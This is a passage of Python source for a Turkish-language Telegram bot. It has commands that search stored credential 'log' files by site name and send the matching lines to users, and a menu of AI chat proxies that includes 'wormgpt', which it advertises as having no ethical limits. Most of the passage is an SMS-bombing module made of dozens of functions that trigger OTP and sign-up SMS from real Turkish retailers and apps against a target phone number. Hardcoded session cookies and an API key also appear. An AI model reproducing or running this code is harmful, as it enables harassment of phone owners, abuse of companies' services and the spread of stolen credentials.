if query_logg_text.lower() in line.lower():
if user_id in log_history and query_logg_text in log_history[user_id] and line.strip() in log_history[user_id][query_logg_text]:
continue
matching_lines.append(line.strip())
if user_id in process_cancellation: # İşlemi kontrol et, eğer iptal edildiyse döngüyü kır.
process_cancellation.remove(user_id)
return
except Exception as e:
if user_id in process_cancellation:
return

if not matching_lines:
bot.send_message(user_id, f"{query_logg_text} Sitesi İçin Log Bulunamadı :(")
bot.delete_message(user_id, search_message_id) # Log bulunamazsa mesajı sil
bot.delete_message(user_id, second_temp_message.message_id) # İkinci geçici mesajı sil
return

if user_id not in log_history:
log_history[user_id] = {}

if query_logg_text not in log_history[user_id]:
log_history[user_id][query_logg_text] = []

random.shuffle(matching_lines)
handle_log_file_sending(user_id, query_logg_text, matching_lines, max_size_mb, search_message_id)
log_history[user_id][query_logg_text].extend(matching_lines)
save_log_history(log_history)

# İkinci geçici mesajı sil
bot.delete_message(user_id, second_temp_message.message_id)

@bot.message_handler(commands=['log_iptal'])
@safe_execute
@check_membership
@ban_at
def log_cancel_process(message):
user_id = message.chat.id
process_cancellation.add(user_id)
bot.reply_to(message, "İşlemin İptal Edildi Dostum, Botu Kullanmaya Devam Edebilirsin ;)")


user_states_u = {}

@bot.message_handler(commands=['log_ekle'])
@sadece_admin
def log_ekle(message):
user_states_u[message.chat.id] = 'awaiting_file'
bot.send_message(message.chat.id, "Lütfen eklemek istediğiniz dosyayı gönderin.")

@bot.message_handler(content_types=['document'])
def handle_document(message):
if user_states_u.get(message.chat.id) == 'awaiting_file':
file_info = bot.get_file(message.document.file_id)
downloaded_file = bot.download_file(file_info.file_path)

file_path = os.path.join(FOLDER_NAME, message.document.file_name)
with open(file_path, 'wb') as new_file:
new_file.write(downloaded_file)

bot.send_message(message.chat.id, "Dosya başarıyla loglar klasörüne eklendi.")
user_states_u[message.chat.id] = None


@bot.message_handler(commands=['log_sil'])
@sadece_admin
def log_sil(message):
log_files = os.listdir(FOLDER_NAME)
if not log_files:
bot.send_message(message.chat.id, "Loglar klasöründe silinecek dosya yok.")
return

response = "Silmek istediğiniz dosyanın numarasını seçin:n"
for idx, file_name in enumerate(log_files, start=1):
response += f"{idx}. {file_name}n"
response += "Silme işlemini iptal etmek için 0 yazın."

bot.send_message(message.chat.id, response)
user_states_u[message.chat.id] = 'awaiting_deletion'

@bot.message_handler(func=lambda message: user_states_u.get(message.chat.id) == 'awaiting_deletion')
def handle_deletion(message):
if message.text.isdigit():
selection = int(message.text)
log_files = os.listdir(FOLDER_NAME)
if selection == 0:
bot.send_message(message.chat.id, "Silme işlemi iptal edildi.")
elif 1 <= selection <= len(log_files):
os.remove(os.path.join(FOLDER_NAME, log_files[selection-1]))
bot.send_message(message.chat.id, "Dosya başarıyla silindi.")
else:
bot.send_message(message.chat.id, "Geçersiz numara. Lütfen tekrar deneyin.")
else:
bot.send_message(message.chat.id, "Lütfen geçerli bir numara girin.")

user_states_u[message.chat.id] = None

#ai komut
api_urls = {
'gemini': 'https://dev-the-dark-lord.pantheonsite.io/wp-admin/js/Apis/Gemini.php',
'blackbox_ai': 'https://www.blackbox.ai/api/chat',
'chatgpt': 'https://chatgpt.apinepdev.workers.dev/?question=',
'wormgpt': 'https://dev-the-dark-lord.pantheonsite.io/wp-admin/js/Apis/WormGpt.php'
}

COOKIES_AI = {
'sessionId': '532a9edf-9a0c-436f-bc95-816b9c018aa0',
'personalId': '532a9edf-9a0c-436f-bc95-816b9c018aa0',
'intercom-id-jlmqxicb': '9ef873f7-0d91-4ebe-b780-6bf191ae1225',
'intercom-session-jlmqxicb': '',
'intercom-device-id-jlmqxicb': '65c097fd-92c8-4f8a-a616-b61f0bca56f9',
}

HEADERS_AI = {
'authority': 'www.blackbox.ai',
'accept': '*/*',
'accept-language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'content-type': 'application/json',
'origin': 'https://www.blackbox.ai',
'referer': 'https://www.blackbox.ai/chat/expert-python',
'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
'sec-ch-ua-mobile': '?1',
'sec-ch-ua-platform': '"Android"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
}

def call_api(url, params=None):
response = requests.get(url, params=params)
return response.text

def parse_chatgpt_response(response_text):
try:
json_data = json.loads(response_text)
return json_data['answer']
except json.JSONDecodeError as e:
print(f"Error decoding JSON: {e}")
return "ChatGPT'den geçersiz bir yanıt alındı."


session = requests.Session()
retry = Retry(connect=3, backoff_factor=0.5)
adapter = HTTPAdapter(max_retries=retry)
session.mount('http://', adapter)
session.mount('https://', adapter)

@bot.message_handler(commands=['resim_ai'])
@safe_execute
@check_membership
@ban_at
def ask_for_description(message):
bot.send_message(message.chat.id, "Şimdi lütfen bir açıklama girin (5-200 kelime arası):")
bot.register_next_step_handler(message, generate_image)

def get_resolution(width, height):
aspect_ratio = width / height
if aspect_ratio >= 1.7: # 16:9 and similar
return "16:9"
elif aspect_ratio >= 1.3: # 4:3 and similar
return "4:3"
elif aspect_ratio >= 1.5: # 3:2 and similar
return "3:2"
elif aspect_ratio >= 0.8: # 3:4 and similar
return "3:4"
else:
return "1:1"

def format_size(size_bytes):
if size_bytes < 1024:
return f"{size_bytes} B"
elif size_bytes < 1048576:
return f"{size_bytes / 1024:.2f} KB"
else:
return f"{size_bytes / 1048576:.2f} MB"

def enhance_image(image):
# Increase sharpness
enhancer = ImageEnhance.Sharpness(image)
image = enhancer.enhance(2.0) # Increase sharpness by a factor of 2

# Increase contrast
enhancer = ImageEnhance.Contrast(image)
image = enhancer.enhance(1.5) # Increase contrast by a factor of 1.5

return image

def generate_image(message):
user_description = message.text
word_count = len(user_description.split())

if word_count < 5 or word_count > 200:
bot.reply_to(message, "Lütfen 5 ile 200 kelime arasında bir açıklama girin.")
return

formatted_description = user_description.replace(' ', '%20')
image_url = f"https://image.pollinations.ai/prompt/{formatted_description}"

countdown_message = bot.send_message(
message.chat.id, f'`{user_description}` nnnİçin Resim Oluşturuluyor...'
)

time.sleep(10)

response = requests.get(image_url)

if response.status_code == 200:
image = Image.open(BytesIO(response.content))
image = enhance_image(image) # Enhance the image

width, height = image.size
resolution = get_resolution(width, height)
size_bytes = len(response.content)
size_formatted = format_size(size_bytes)

# Save enhanced image
with open('image.jpg', 'wb') as file:
image.save(file, format='JPEG', quality=95) # Save with high quality

# Kullanıcı bilgilerini al
user = message.from_user
username = user.username if user.username else user.first_name

# Resim puanlama (1-10 arası rastgele puanlama)
rating = random.randint(1, 10)

if 1 <= rating <= 3:
rating_description = "🟥 • <i>Berbat</i>"
elif 3 < rating <= 5:
rating_description = "🟧 • <i>Ortalama</i>"
elif 5 < rating <= 7:
rating_description = "🟦 • <i>İyi</i>"
else:
rating_description = "🟩 • <i>Muhteşem</i>"

# Mesajı HTML formatında oluştur
caption = (
f"<b>Sanatçı</b> : <i>@{username}</i>n"
f"<b>Metin</b> : <i>{user_description}</i>n"
f"<b>Puan</b> : <i>{rating}/10</i> ({rating_description})n"
f"<b>Boyut</b> : <i>{size_formatted}</i>n"
f"<b>Çözünürlük</b> : <i>{resolution}</i>nn"
f"<b>Oluşturan</b> : @CVarbV2_bot"
)

# Resmi mesajına yanıt olarak gönder
bot.send_document(message.chat.id, open('image.jpg', 'rb'), caption=caption, parse_mode='HTML', reply_to_message_id=message.message_id)

os.remove('image.jpg')
else:
bot.reply_to(message, 'Resim yüklenirken bir hata oluştu. Başka bir açıklama ile tekrar deneyin.')

@bot.message_handler(commands=['ai'])
@safe_execute
@check_membership
@ban_at
def list_ai_commands(message):
bot.send_message(message.chat.id, "Yapay Zeka Komutları:n"
"/gemini - Gemini AIn"
"/blackbox_ai - Kod Yardımcınn"
"/chatgpt - ChatGPTn"
"/wormgpt - Etik Sınır Yokn"
"/resim_ai - Resim Oluştur")

@bot.message_handler(commands=['gemini', 'blackbox_ai', 'chatgpt', 'wormgpt'])
@safe_execute
@check_membership
@ban_at
def ask_for_text(message):
command = message.text.split()[0].replace('/', '')
msg = bot.reply_to(message, "Lütfen bir metin giriniz:")
handler = handlers.get(command)
if handler:
bot.register_next_step_handler(msg, handler)
else:
bot.send_message(message.chat.id, "Geçersiz komut.")

def handle_api_response(message, api_key):
user_text = message.text
temp_message = bot.reply_to(message, "Cevap Geliyor...")

if api_key == 'gemini':
url = api_urls[api_key]
params = {"message": user_text}
response = call_api(url, params=params)
elif api_key == 'blackbox_ai':
json_data = {
'messages': [{'id': 'nBIE0Fj', 'content': user_text, 'role': 'user'}],
'previewToken': None,
'userId': '582ebdf4-4ccb-4344-bffd-cfa9cf29429c',
'codeModelMode': True,
'agentMode': {},
'trendingAgentMode': {'mode': True, 'id': 'python'},
'isMicMode': False,
'isChromeExt': False,
'githubToken': None,
}
response = requests.post(api_urls[api_key], json=json_data, cookies=COOKIES_AI, headers=HEADERS_AI).text
elif api_key == 'wormgpt':
url = api_urls[api_key]
params = {"message": user_text}
response = call_api(url, params=params)
else:
url = api_urls[api_key] + user_text
response = call_api(url)

if api_key == 'chatgpt':
response = parse_chatgpt_response(response)

display_progressive_response(bot, message.chat.id, temp_message.message_id, response)

def display_progressive_response(bot, chat_id, message_id, text):
sentences = re.split(r'(?<=[.!?]) +', text)
response_so_far = ""
for sentence in sentences:
response_so_far += sentence + " "
bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=response_so_far.strip() + "...", parse_mode='Markdown')
time.sleep(0.3)
bot.edit_message_text(chat_id=chat_id, message_id=message_id, text=response_so_far.strip(), parse_mode='Markdown')

handlers = {
'gemini': lambda message: handle_api_response(message, 'gemini'),
'blackbox_ai': lambda message: handle_api_response(message, 'blackbox_ai'),
'chatgpt': lambda message: handle_api_response(message, 'chatgpt'),
'wormgpt': lambda message: handle_api_response(message, 'wormgpt')
}

#Haberler Komut
def get_news():
url = 'https://newsapi.org/v2/top-headlines?country=tr&apiKey=863223faf5104d759a13b32609fbd7d0'
response = requests.get(url)
news_data = response.json()
if 'articles' in news_data:
articles = news_data['articles']
return articles
else:
return []

@bot.message_handler(commands=['haberler'])
@safe_execute
@check_membership
@ban_at
def send_news_headlines(message):
articles = get_news()
if articles:
chat_id = message.chat.id # Retrieve the chat ID from the message object
news_message = ""
for i, article in enumerate(articles, start=1):
title = article['title']
description = article['description']
url = article['url']
news_message += f"{i}. [{title}]({url})n{description}nn"

# Send all news in a single message with Markdown formatting
bot.send_message(chat_id, news_message, parse_mode="Markdown")
else:
chat_id = message.chat.id # Retrieve the chat ID from the message object
bot.send_message(chat_id, "❌️ Üzgünüm, haber bulunamadı.")

#SmS Bomb Komut



toplam_gonderimler = 0
basarili_gonderimler = 0
basarisiz_gonderimler = 0


def a101(number):
try:
url = "https://www.a101.com.tr/users/otp-login/"
payload = {
"phone" : f"0{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "A101"
else:
return False, "A101"
except:
return False, "A101"

def bim(number):
try:
url = "https://bim.veesk.net/service/v1.0/account/login"
payload = {
"phone" : f"90{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "BIM"
else:
return False, "BIM"
except:
return False, "BIM"

def defacto(number):
try:
url = "https://www.defacto.com.tr/Customer/SendPhoneConfirmationSms"
payload = {
"mobilePhone" : f"0{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["Data"]
if r1 == "IsSMSSend":
return True, "Defacto"
else:
return False, "Defacto"
except:
return False, "Defacto"

def istegelsin(number):
try:
url = "https://prod.fasapi.net/"
payload = {
"query" : "n mutation SendOtp2($phoneNumber: String!) {n sendOtp2(phoneNumber: $phoneNumber) {n alreadySentn remainingTimen }n }",
"variables" : {
"phoneNumber" : f"90{number}"
}
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "İsteGelsin"
else:
return False, "İsteGelsin"
except:
return False, "İsteGelsin"

def ikinciyeni(number):
try:
url = "https://apigw.ikinciyeni.com/RegisterRequest"
payload = {
"accountType": 1,
"email": f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=12))}@gmail.com",
"isAddPermission": False,
"name": f"{''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase, k=8))}",
"lastName": f"{''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase, k=8))}",
"phone": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["isSucceed"]

if r1 == True:
return True, "İkinci Yeni"
else:
return False, "İkinci Yeni"
except:
return False, "İkinci Yeni"

def migros(number):
try:
url = "https://www.migros.com.tr/rest/users/login/otp"
payload = {
"phoneNumber": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["successful"]

if r1 == True:
return True, "Migros"
else:
return False, "Migros"
except:
return False, "Migros"

def ceptesok(number):
try:
url = "https://api.ceptesok.com/api/users/sendsms"
payload = {
"mobile_number": f"{number}",
"token_type": "register_token"
}
r = requests.post(url=url, json=payload, timeout=5)

if r.status_code == 200:
return True, "Cepte Şok"
else:
return False, "Cepte Şok"
except:
return False, "Cepte Şok"

def tiklagelsin(number):
try:
url = "https://www.tiklagelsin.com/user/graphql"
payload = {
"operationName": "GENERATE_OTP",
"variables": {
"phone": f"+90{number}",
"challenge": f"{uuid.uuid4()}",
"deviceUniqueId": f"web_{uuid.uuid4()}"
},
"query": "mutation GENERATE_OTP($phone: String, $challenge: String, $deviceUniqueId: String) {n generateOtp(n phone: $phonen challenge: $challengen deviceUniqueId: $deviceUniqueIdn )n}n"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "Tıkla Gelsin"
else:
return False, "Tıkla Gelsin"
except:
return False, "Tıkla Gelsin"

def bisu(number):
try:
url = "https://www.bisu.com.tr/api/v2/app/authentication/phone/register"
payload = {
"phoneNumber": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "BiSU"
else:
return False, "BiSU"
except:
return False, "BiSU"

def file(number):
try:
url = "https://api.filemarket.com.tr/v1/otp/send"
payload = {
"mobilePhoneNumber": f"90{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["data"]
if r1 == "200 OK":
return True, "File"
else:
return False, "File"
except:
return False, "File"

def ipragraz(number):
try:
url = "https://ipapp.ipragaz.com.tr/ipragazmobile/v2/ipragaz-b2c/ipragaz-customer/mobile-register-otp"
payload = {
"otp": "",
"phoneNumber": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "İpragaz"
else:
return False, "İpragaz"
except:
return False, "İpragaz"

def pisir(number):
try:
url = "https://api.pisir.com/v1/login/"
payload = {"msisdn": f"90{number}"}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["ok"]
if r1 == "1":
return True, "Pişir"
else:
return False, "Pişir"
except:
return False, "Pişir"

def coffy(number):
try:
url = "https://prod-api-mobile.coffy.com.tr/Account/Account/SendVerificationCode"
payload = {"phoneNumber": f"+90{number}"}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "Coffy"
else:
return False, "Coffy"
except:
return False, "Coffy"

def sushico(number):
try:
url = "https://api.sushico.com.tr/tr/sendActivation"
payload = {"phone": f"+90{number}", "location": 1, "locale": "tr"}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["err"]
if r1 == 0:
return True, "SushiCo"
else:
return False, "SushiCo"
except:
return False, "SushiCo"

def kalmasin(number):
try:
url = "https://api.kalmasin.com.tr/user/login"
payload = {
"dil": "tr",
"device_id": "",
"notification_mobile": "android-notificationid-will-be-added",
"platform": "android",
"version": "2.0.6",
"login_type": 1,
"telefon": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "Kalmasın"
else:
return False, "Kalmasın"
except:
return False, "Kalmasın"

def yotto(number):
try:
url = "https://42577.smartomato.ru/account/session.json"
payload = {
"phone" : f"+90 ({str(number)[0:3]}) {str(number)[3:6]}-{str(number)[6:10]}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 201:
return True, "Yotto"
else:
return False, "Yotto"
except:
return False, "Yotto"

def qumpara(number):
try:
url = "https://tr-api.fisicek.com/v1.4/auth/getOTP"
payload = {
"msisdn" : f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "Qumpara"
else:
return False, "Qumpara"
except:
return False, "Qumpara"

def aygaz(number):
try:
url = "https://ecommerce-memberapi.aygaz.com.tr/api/Membership/SendVerificationCode"
payload = {
"Gsm" : f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "Aygaz"
else:
return False, "Aygaz"
except:
return False, "Aygaz"

def pawapp(number):
try:
url = "https://api.pawder.app/api/authentication/sign-up"
payload = {
"languageId" : "2",
"mobileInformation" : "",
"data" : {
"firstName" : f"{''.join(random.choices(string.ascii_lowercase, k=10))}",
"lastName" : f"{''.join(random.choices(string.ascii_lowercase, k=10))}",
"userAgreement" : "true",
"kvkk" : "true",
"email" : f"{''.join(random.choices(string.ascii_lowercase, k=10))}@gmail.com",
"phoneNo" : f"{number}",
"username" : f"{''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=10))}"
}
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "PawAPP"
else:
return False, "PawAPP"
except:
return False, "PawAPP"

def mopas(number):
try:
url = "https://api.mopas.com.tr//authorizationserver/oauth/token?client_id=mobile_mopas&client_secret=secret_mopas&grant_type=client_credentials"
r = requests.post(url=url, timeout=2)

if r.status_code == 200:
token = json.loads(r.text)["access_token"]
token_type = json.loads(r.text)["token_type"]
url = f"https://api.mopas.com.tr//mopaswebservices/v2/mopas/sms/sendSmsVerification?mobileNumber={number}"
headers = {"authorization": f"{token_type} {token}"}
r1 = requests.get(url=url, headers=headers, timeout=2)

if r1.status_code == 200:
return True, "Mopaş"
else:
return False, "Mopaş"
else:
return False, "Mopaş"
except:
return False, "Mopaş"

def paybol(number):
try:
url = "https://pyb-mobileapi.walletgate.io/v1/Account/RegisterPersonalAccountSendOtpSms"
payload = {
"otp_code" : "null",
"phone_number" : f"90{number}",
"reference_id" : "null"
}
r = requests.post(url=url, json=payload, timeout=5)

if r.status_code == 200:
return True, "Paybol"
else:
return False, "Paybol"
except:
return False, "Paybol"

def ninewest(number):
try:
url = "https://www.ninewest.com.tr/webservice/v1/register.json"
payload = {
"alertMeWithEMail" : False,
"alertMeWithSms" : False,
"dataPermission" : True,
"email" : "[email protected]",
"genderId" : random.randint(0,3),
"hash" : "5488b0f6de",
"inviteCode" : "",
"password" : f"{''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=16))}",
"phoneNumber" : f"({str(number)[0:3]}) {str(number)[3:6]} {str(number)[6:8]} {str(number)[8:10]}",
"registerContract" : True,
"registerMethod" : "mail",
"version" : "3"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]

if r1 == True:
return True, "Nine West"
else:
return False, "Nine West"
except:
return False, "Nine West"

def saka(number):
try:
url = "https://mobilcrm2.saka.com.tr/api/customer/login"
payload = {
"gsm" : f"0{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["status"]
if r1 == 1:
return True, "Saka"
else:
return False, "Saka"
except:
return False, "Saka"

def superpedestrian(number):
try:
url = "https://consumer-auth.linkyour.city/consumer_auth/register"
payload = {
"phone_number" : f"+90{str(number)[0:3]} {str(number)[3:6]} {str(number)[6:10]}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["detail"]
if r1 == "Ok":
return True, "Superpedestrian"
else:
return False, "Superpedestrian"
except:
return False, "Superpedestrian"

def hayat(number):
try:
url = f"https://www.hayatsu.com.tr/api/signup/otpsend?mobilePhoneNumber={number}"
r = requests.post(url=url, timeout=5)
r1 = json.loads(r.text)["IsSuccessful"]
if r1 == True:
return True, "Hayat"
else:
return False, "Hayat"
except:
return False, "Hayat"

def tazi(number):
try:
url = "https://mobileapiv2.tazi.tech/C08467681C6844CFA6DA240D51C8AA8C/uyev2/smslogin"
payload = {
"cep_tel" : f"{number}",
"cep_tel_ulkekod" : "90"
}
headers = {
"authorization" : "Basic dGF6aV91c3Jfc3NsOjM5NTA3RjI4Qzk2MjRDQ0I4QjVBQTg2RUQxOUE4MDFD"
}
r = requests.post(url=url, headers=headers, json=payload, timeout=5)
if r.status_code == 200:
return True, "Tazı"
else:
return False, "Tazı"
except:
return False, "Tazı"

def gofody(number):
try:
url = "https://backend.gofody.com/api/v1/enduser/register/"
payload = {
"country_code": "90",
"phone": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "GoFody"
else:
return False, "GoFody"
except:
return False, "GoFody"

def weescooter(number):
try:
url = "https://friendly-cerf.185-241-138-85.plesk.page/api/v1/members/gsmlogin"
payload = {
"tenant": "62a1e7efe74a84ea61f0d588",
"gsm": f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "Wee Scooter"
else:
return False, "Wee Scooter"
except:
return False, "Wee Scooter"

def scooby(number):
try:
url = f"https://sct.scoobyturkiye.com/v1/mobile/user/code-request?phoneNumber=90{number}"
r = requests.get(url=url, timeout=5)
if r.status_code == 200:
return True, "Scooby"
else:
return False, "Scooby"
except:
return False, "Scooby"

def gez(number):
try:
url = f"https://gezteknoloji.arabulucuyuz.net/api/Account/get-phone-number-confirmation-code-for-new-user?phonenumber=90{number}"
r = requests.get(url=url, timeout=5)
r1 = json.loads(r.text)["succeeded"]
if r1 == True:
return True, "Gez"
else:
return False, "Gez"
except:
return False, "Gez"

def heyscooter(number):
try:
url = f"https://heyapi.heymobility.tech/V9//api/User/ActivationCodeRequest?organizationId=9DCA312E-18C8-4DAE-AE65-01FEAD558739&phonenumber={number}"
headers = {"user-agent" : "okhttp/3.12.1"}
r = requests.post(url=url, headers=headers, timeout=5)
r1 = json.loads(r.text)["IsSuccess"]
if r1 == True:
return True, "Hey Scooter"
else:
return False, "Hey Scooter"
except:
return False, "Hey Scooter"

def jetle(number):
try:
url = f"http://ws.geowix.com/GeoCourier/SubmitPhoneToLogin?phonenumber={number}&firmaID=1048"
r = requests.get(url=url, timeout=5)
if r.status_code == 200:
return True, "Jetle"
else:
return False, "Jetle"
except:
return False, "Jetle"

def rabbit(number):
try:
url = "https://api.rbbt.com.tr/v1/auth/authenticate"
payload = {
"mobile_number" : f"+90{number}",
"os_name" : "android",
"os_version" : "7.1.2",
"app_version" : " 1.0.2(12)",
"push_id" : "-"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["status"]
if r1 == True:
return True, "Rabbit"
else:
return False, "Rabbit"
except:
return False, "Rabbit"

def roombadi(number):
try:
url = "https://api.roombadi.com/api/v1/auth/otp/authenticate"
payload = {"phone": f"{number}", "countryId": 2}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 200:
return True, "Roombadi"
else:
return False, "Roombadi"
except:
return False, "Roombadi"

def hizliecza(number):
try:
url = "https://hizlieczaprodapi.hizliecza.net/mobil/account/sendOTP"
payload = {"phoneNumber": f"+90{number}", "otpOperationType": 2}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["isSuccess"]
if r1 == True:
return True, "Hızlı Ecza"
else:
return False, "Hızlı Ecza"
except:
return False, "Hızlı Ecza"

def signalall(number):
try:
url = "https://appservices.huzk.com/client/register"
payload = {
"name": "",
"phone": {
"number": f"{number}",
"code": "90",
"country_code": "TR",
"name": ""
},
"countryCallingCode": "+90",
"countryCode": "TR",
"approved": True,
"notifyType": 99,
"favorites": [],
"appKey": "live-exchange"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "SignalAll"
else:
return False, "SignalAll"
except:
return False, "SignalAll"

def goyakit(number):
try:
url = f"https://gomobilapp.ipragaz.com.tr/api/v1/0/authentication/sms/send?phone={number}&isRegistered=false"
r = requests.get(url=url, timeout=5)
r1 = json.loads(r.text)["data"]["success"]
if r1 == True:
return True, "Go Yakıt"
else:
return False, "Go Yakıt"
except:
return False, "Go Yakıt"

def pinar(number):
try:
url = "https://pinarsumobileservice.yasar.com.tr/pinarsu-mobil/api/Customer/SendOtp"
payload = {
"MobilePhone" : f"{number}"
}
headers = {
"devicetype" : "android",
}
r = requests.post(url=url, headers=headers, json=payload, timeout=5)
if r.text == True:
return True, "Pınar"
else:
return False, "Pınar"
except:
return False, "Pınar"

def oliz(number):
try:
url = "https://api.oliz.com.tr/api/otp/send"
payload = {
"mobile_number" : f"{number}",
"type" : None
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["meta"]["messages"]["success"][0]
if r1 == "SUCCESS_SEND_SMS":
return True, "Oliz"
else:
return False, "Oliz"
except:
return False, "Oliz"

def macrocenter(number):
try:
url = f"https://www.macrocenter.com.tr/rest/users/login/otp?reid={int(time.time())}"
payload = {
"phoneNumber" : f"{number}"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["successful"]
if r1 == True:
return True, "Macro Center"
else:
return False, "Macro Center"
except:
return False, "Macro Center"

def marti(number):
try:
url = "https://customer.martiscooter.com/v13/scooter/dispatch/customer/signin"
payload = {
"mobilePhone" : f"{number}",
"mobilePhoneCountryCode" : "90"
}
r = requests.post(url=url, json=payload, timeout=5)
r1 = json.loads(r.text)["isSuccess"]
if r1 == True:
return True, "Martı"
else:
return False, "Martı"
except:
return False, "Martı"

def karma(number):
try:
url = "https://api.gokarma.app/v1/auth/send-sms"
payload = {
"phoneNumber" : f"90{number}",
"type" : "REGISTER",
"deviceId" : f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=16))}",
"language" : "tr-TR"
}
r = requests.post(url=url, json=payload, timeout=5)

if r.status_code == 201:
return True, "Karma"
else:
return False, "Karma"
except:
return False, "Karma"

def joker(number):
try:
url = "https://www.joker.com.tr:443/kullanici/ajax/check-sms"
payload = {
"phone" : f"{number}"
}
headers = {
"user-agent" : ""
}
r = requests.post(url=url, headers=headers, data=payload, timeout=5)
r1 = json.loads(r.text)["success"]

if r1 == True:
return True, "Joker"
else:
return False, "Joker"
except:
return False, "Joker"

def hop(number):
try:
url = "https://api.hoplagit.com:443/v1/auth:reqSMS"
payload = {
"phone" : f"+90{number}"
}
r = requests.post(url=url, json=payload, timeout=5)

if r.status_code == 201:
return True, "Hop"
else:
return False, "Hop"
except:
return False, "Hop"

def kimgbister(number):
try:
url = "https://3uptzlakwi.execute-api.eu-west-1.amazonaws.com:443/api/auth/send-otp"
payload = {
"msisdn" : f"90{number}"
}
r = requests.post(url=url, json=payload, timeout=5)

if r.status_code == 200:
return True, "Kim GB Ister"
else:
return False, "Kim GB Ister"
except:
return False, "Kim GB Ister"

def anadolu(number):
try:
url = "https://www.anadolu.com.tr/Iletisim_Formu_sms.php"
payload = urllib.parse.urlencode({
"Numara": f"{str(number)[0:3]}{str(number)[3:6]}{str(number)[6:8]}{str(number)[8:10]}"
})
headers = {
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
}
r = requests.post(url=url, headers=headers, data=payload, timeout=5)
if r.status_code == 200:
return True, "Anadolu"
else:
return False, "Anadolu"
except:
return False, "Anadolu"

def total(number):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
url = f"https://mobileapi.totalistasyonlari.com.tr:443/SmartSms/SendSms?gsmNo={number}"
r = requests.post(url=url, verify=False, timeout=5)
r1 = json.loads(r.text)["success"]
if r1 == True:
return True, "Total"
else:
return False, "Total"
except:
return False, "Total"

def englishhome(number):
try:
url = "https://www.englishhome.com:443/enh_app/users/registration/"
payload = {
"first_name": f"{''.join(random.choices(string.ascii_lowercase, k=8))}",
"last_name": f"{''.join(random.choices(string.ascii_lowercase, k=8))}",
"email": f"{''.join(random.choices(string.ascii_lowercase + string.digits, k=16))}@gmail.com",
"phone": f"0{number}",
"password": f"{''.join(random.choices(string.ascii_lowercase + string.digits + string.ascii_uppercase, k=8))}",
"email_allowed": False,
"sms_allowed": False,
"confirm": True,
"tom_pay_allowed": True
}
r = requests.post(url=url, json=payload, timeout=5)
if r.status_code == 202:
return True, "English Home"
else:
return False, "English Home"
except:
return False, "English Home"

def petrolofisi(number):
try:
url = "https://mobilapi.petrolofisi.com.tr:443/api/auth/register"
payload = {
"approvedContractVersion": "v1",
"approvedKvkkVersion": "v1",
"contractPermission": True,
"deviceId": "",
"etkContactPermission": True,
"kvkkPermission": True,
"mobilePhone": f"0{number}",
"name": f"{''.join(random.choices(string.ascii_lowercase, k=8))}",
"plate": f"{str(random.randrange(1, 81)).zfill(2)}{''.join(random.choices(string.ascii_uppercase, k=3))}{str(random.randrange(1, 999)).zfill(3)}",
"positiveCard": "",
"referenceCode": "",
"surname": f"{''.join(random.choices(string.ascii_lowercase, k=8))}"
}
headers = {
"X-Channel": "IOS"
}
r = requests.post(url=url, headers=headers, json=payload, timeout=5)
if r.status_code == 204:
return True, "Petrol Ofisi"
else:
return False, "Petrol Ofisi"
except:
return False, "Petrol Ofisi"

komut_kuyrugu = queue.Queue()
smsbomb_data = {}
smsbomb_usage = {}

def smsbomb_isleyici_wrapper(mesaj):
komut_kuyrugu.put(mesaj)
